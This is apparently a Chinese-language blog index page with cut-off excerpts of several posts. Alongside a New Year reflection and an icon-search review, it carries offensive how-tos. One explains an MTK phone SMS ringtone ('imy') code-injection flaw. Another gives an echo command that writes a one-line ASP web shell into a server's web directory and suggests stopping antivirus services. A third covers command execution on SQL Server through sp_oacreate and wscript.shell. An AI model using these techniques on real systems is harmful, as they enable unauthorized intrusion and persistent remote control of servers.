Pray's Blog

　　写在09年的最后一天，以纪念，即将逝去的一年。或者说，这是一种自我安慰，想挽留着这一年的时光。 　　09年最后一天里，在家乡度过的，阴沉沉的天，冷冷的天气，见不到阳光的微笑。今天适合坐在家里，看看书，回忆些09年的往事，可脑子不听使唤，回忆总是绕着代码那里徘徊。 　　今天的流走，时光的飞逝，大家在这一年收获的不少东西吧。     　　不知道为什么，感觉09年的过去，并不单单代表着一年的过去，而是十年。就像上世纪的八十年代、九十年代，都是以十年为单位的，所...阅读更多

影响手机品牌：所有MTK方案手机（也就是我们常说的山寨手机） 且 写短信时有【“选项”——“插入对象”——“我的铃声”】这一功能（大部分山寨手机都有此功能） 漏洞原理： 在大部分MTK方案手机中，编写短信息的时候可以插入一种“imy”格式的铃声文件， 而具有同样功能的手机接收到此短信后在查看信息内容的同时可以听到短信息内插入的铃声 由于MTK方案手机在阅读短信息的时候对“imy”文件内容不经过过滤而直接执行。 所以我们可以在“imy”文件内插入代码，通过代码调用手机的解码芯片发出一些...阅读更多

Iconfinder 这是其中一个最好的图标搜索引擎，在它们的数据库里面存储了超过1000多个图标资源，你可以输入一个你需要的相关的图标关键词进行搜索。 其Ajax的导航，使一件轻而易举的找到新的图标。每个图标在搜索结果中进行，其标记，下载链接和许可证信息。 无需翻阅页面得到下载图标，击中下载图标，该图标将被下载。大部分的图标漂亮，可以用来在现代或Web 2.0的设计。 Iconlet 另一个图标搜索引擎，它也运作良好。 在这里你会得到很多更多的图标下载，但结果并不很清楚分类，你...阅读更多

SA权限权利非常大,但可能有的朋友感觉使用起来不方便,接下来和大家一起讨论几种上传文件的方法,如果还有别的方法,希望大家能分享出来. 1、NBSI的命令方法:写入一句话木SHELL,命令如下: 1 echo ^<25%execute request("#")25%^> >d:\web\mm.asp 这样要写入一句话木马,如果说被杀软,KILL掉,就可以连上去了。net stop “服务名”可以停掉服务。 2、NBSI3.0自带文件上传功能，也可以使用。缺点速度慢。建议上传短小的WEBSHELL。 3、把一句话...阅读更多

有了sa但无xp_cmdshell ，怎么恢复都提示出错。好象是xxxx.cpp哪里哪里出错。或者找不到指定模块，反正我遇到好多次了。在用exec sp_oacreate ‘wscript.shell’也没办法的情况下。。可用此方法 （很多服务器都把 ‘wscript.shell’给删了。） 看到既然能用sp_oacreate，sp_oamethod来弄 ‘wscript.shell’或者scripting.filesystemobject 网上看到的文章都只有几个用法就是 ‘wscript.shell’执行命令或者scripting.filesystemobject来写...阅读更多